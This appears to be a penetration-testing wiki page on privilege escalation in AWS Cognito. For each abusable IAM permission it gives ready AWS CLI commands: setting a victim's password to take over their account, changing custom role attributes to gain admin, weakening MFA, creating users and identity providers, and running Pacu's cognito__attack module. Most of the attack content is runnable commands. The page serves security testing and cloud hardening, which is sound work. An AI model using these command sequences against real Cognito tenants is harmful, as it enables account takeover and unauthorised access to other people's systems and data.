# AWS - Cognito Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Cognito

For more info about Cognito check:

{{#ref}}
../../aws-services/aws-cognito-enum/
{{#endref}}

### Gathering credentials from Identity Pool

As Cognito can grant **IAM role credentials** to both **authenticated** an **unauthenticated** **users**, if you locate the **Identity Pool ID** of an application (should be hardcoded on it) you can obtain new credentials and therefore privesc (inside an AWS account where you probably didn't even have any credential previously).

For more information [**check this page**](../../aws-unauthenticated-enum-access/index.html#cognito).

**Potential Impact:** Direct privesc to the services role attached to unauth users (and probably to the one attached to auth users).

### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`

With this permission you can **grant any cognito role** to the authenticated/unauthenticated users of the cognito app.

```bash
aws cognito-identity set-identity-pool-roles \
    --identity-pool-id <identity_pool_id> \
    --roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
```

If the cognito app **doesn't have unauthenticated users enabled** you might need also the permission `cognito-identity:UpdateIdentityPool` to enable it.

**Potential Impact:** Direct privesc to any cognito role.

### `cognito-identity:update-identity-pool`

An attacker with this permission could set for example a Cognito User Pool under his control or any other identity provider where he can login as a **way to access this Cognito Identity Pool**. Then, just **login** on that user provider will **allow him to access the configured authenticated role in the Identity Pool**.

```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
    --identity-pool-id <value> \
    --identity-pool-name <value> \
    [--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
    --cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
    --identity-pool-id <id_pool_id> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
    --identity-id <identity_id> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
```

It's also possible to **abuse this permission to allow basic auth**:

```bash
aws cognito-identity update-identity-pool \
    --identity-pool-id <value> \
    --identity-pool-name <value> \
    --allow-unauthenticated-identities
    --allow-classic-flow
```

**Potential Impact**: Compromise the configured authenticated IAM role inside the identity pool.

### `cognito-idp:AdminAddUserToGroup`

This permission allows to **add a Cognito user to a Cognito group**, therefore an attacker could abuse this permission to add an user under his control to other groups with **better** privileges or **different IAM roles**:

```bash
aws cognito-idp admin-add-user-to-group \
    --user-pool-id <value> \
    --username <value> \
    --group-name <value>
```

**Potential Impact:** Privesc to other Cognito groups and IAM roles attached to User Pool Groups.

### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`

An attacker with these permissions could **create/update groups** with **every IAM role that can be used by a compromised Cognito Identity Provider** and make a compromised user part of the group, accessing all those roles:

```bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
```

**Potential Impact:** Privesc to other Cognito IAM roles.

### `cognito-idp:AdminConfirmSignUp`

This permission allows to **verify a signup**. By default anyone can sign in Cognito applications, if that is left, a user could create an account with any data and verify it with this permission.

```bash
aws cognito-idp admin-confirm-sign-up \
    --user-pool-id <value> \
    --username <value>
```

**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users if you can register a new user. Indirect privesc to other app functionalities being able to confirm any account.

### `cognito-idp:AdminCreateUser`

This permission would allow an attacker to create a new user inside the user pool. The new user is created as enabled, but will need to change its password.

```bash
aws cognito-idp admin-create-user \
    --user-pool-id <value> \
    --username <value> \
    [--user-attributes <value>] ([Name=email,Value=email@gmail.com])
    [--validation-data <value>]
    [--temporary-password <value>]
```

**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user

### `cognito-idp:AdminEnableUser`

This permissions can help in. a very edge-case scenario where an attacker found the credentials of a disabled user and he needs to **enable it again**.

```bash
aws cognito-idp admin-enable-user \
    --user-pool-id <value> \
    --username <value>
```

**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users and permissions of the user if the attacker had credentials for a disabled user.

### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**

This permission allows to login with the [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** For more information follow the link.

### `cognito-idp:AdminSetUserPassword`

This permission would allow an attacker to **set a known password for any user**, usually resulting in a **direct account takeover** (especially if the victim doesn't have MFA enabled, or MFA is not enforced for the relevant auth flow/client).

```bash
aws cognito-idp admin-set-user-password \
    --user-pool-id <value> \
    --username <value> \
    --password <value> \
    --permanent
```

Common workflow:

```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'

# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
  --region "$REGION" \
  --user-pool-id "$USER_POOL_ID" \
  --username "$VICTIM_USERNAME" \
  --password "$NEW_PASS" \
  --permanent

# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
  --no-sign-request --region "$REGION" \
  --client-id "$CLIENT_ID" \
  --auth-flow USER_PASSWORD_AUTH \
  --auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
```

Related permission: `cognito-idp:AdminResetUserPassword` can be used to force a reset flow for a victim (impact depends on how password recovery is implemented and what the attacker can intercept or control).

**Potential Impact:** Account takeover of arbitrary users; access to app-layer privileges (groups/roles/claims) and anything downstream trusting Cognito tokens; potential access to Identity Pool authenticated IAM roles.

### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`

**AdminSetUserSettings**: An attacker could potentially abuse this permission to set a mobile phone under his control as **SMS MFA of a user**.

```bash
aws cognito-idp admin-set-user-settings \
    --user-pool-id <value> \
    --username <value> \
    --mfa-options <value>
```

**SetUserMFAPreference:** Similar to the previous one this permission can be used to set MFA preferences of a user to bypass the MFA protection.

```bash
aws cognito-idp admin-set-user-mfa-preference \
    [--sms-mfa-settings <value>] \
    [--software-token-mfa-settings <value>] \
    --username <value> \
    --user-pool-id <value>
```

**SetUserPoolMfaConfig**: Similar to the previous one this permission can be used to set MFA preferences of a user pool to bypass the MFA protection.

```bash
aws cognito-idp set-user-pool-mfa-config \
    --user-pool-id <value> \
    [--sms-mfa-configuration <value>] \
    [--software-token-mfa-configuration <value>] \
    [--mfa-configuration <value>]
```

**UpdateUserPool:** It's also possible to update the user pool to change the MFA policy. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).

**Potential Impact:** Indirect privesc to potentially any user the attacker knows the credentials of, this could allow to bypass the MFA protection.

### `cognito-idp:AdminUpdateUserAttributes`

An attacker with this permission can change **any mutable attribute** of a User Pool user (including `custom:*` attributes) to try to gain privileges in an underlying application.

A common high-impact pattern is **claim-based RBAC** implemented using **custom attributes** (for example `custom:role=admin`). If the application trusts that claim, updating it and then re-authenticating can bypass authorization without touching the app.

```bash
aws cognito-idp admin-update-user-attributes \
    --user-pool-id <value> \
    --username <value> \
    --user-attributes <value>
```

Example: upgrade your own role and refresh tokens:

```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"

# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
  --region "$REGION" \
  --user-pool-id "$USER_POOL_ID" \
  --username "$USERNAME" \
  --user-attributes Name="custom:role",Value="admin"

# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
  --no-sign-request --region "$REGION" \
  --client-id "$CLIENT_ID" \
  --auth-flow USER_PASSWORD_AUTH \
  --auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
```

**Potential Impact:** Indirect privesc in applications trusting Cognito attributes/claims for authorization; ability to modify other security-relevant attributes (for example setting `email_verified` or `phone_number_verified` to `true` can matter in some apps).

### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`

An attacker with this permission could **create a new User Pool Client less restricted** than already existing pool clients. For example, the new client could allow any kind of method to authenticate, don't have any secret, have token revocation disabled, allow tokens to be valid for a longer period...

The same can be be don if instead of creating a new client, an **existing one is modified**.

In the [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) you can see all the options, check it!.

```bash
aws cognito-idp create-user-pool-client \
    --user-pool-id <value> \
    --client-name <value> \
    [...]
```

**Potential Impact:** Potential indirect privesc to the Identity Pool authorized user used by the User Pool by creating a new client that relax the security measures and makes possible to an attacker to login with a user he was able to create.

### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`

An attacker could abuse this permission to create users y uploading a csv with new users.

```bash
# Create a new import job
aws cognito-idp create-user-import-job \
    --job-name <value> \
    --user-pool-id <value> \
    --cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
    --user-pool-id <value> \
    --job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
    -H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
```

(In the case where you create a new import job you might also need the iam passrole permission, I haven't tested it yet).

**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user.

### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`

An attacker could create a new identity provider to then be able to **login through this provider**.

```bash
aws cognito-idp create-identity-provider \
    --user-pool-id <value> \
    --provider-name <value> \
    --provider-type <value> \
    --provider-details <value> \
    [--attribute-mapping <value>] \
    [--idp-identifiers <value>]
```

**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user.

### cognito-sync:\* Analysis

This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the **given permissions aren't super useful from an attackers perspective**.

This permission allows to read use information of Identity Pools and Identity IDs inside Identity Pools (which isn't sensitive info).\
Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). It might be possible that this contain some kind of sensitive information (but the probability is pretty low). You can find in the [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) how to access this information.

An attacker could also use these permissions to **enroll himself to a Cognito stream that publish changes** on these datases or a **lambda that triggers on cognito events**. I haven't seen this being used, and I wouldn't expect sensitive information here, but it isn't impossible.

### Automatic Tools

- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.

For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.

#### Usage

Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:

```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```

Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account:

```bash
Pacu (new:test) > run cognito__enum
```

- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including a privesc escalation.

#### Installation

```bash
$ pip install cognito-scanner
```

#### Usage

```bash
$ cognito-scanner --help
```

For more information check [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)

{{#include ../../../../banners/hacktricks-training.md}}


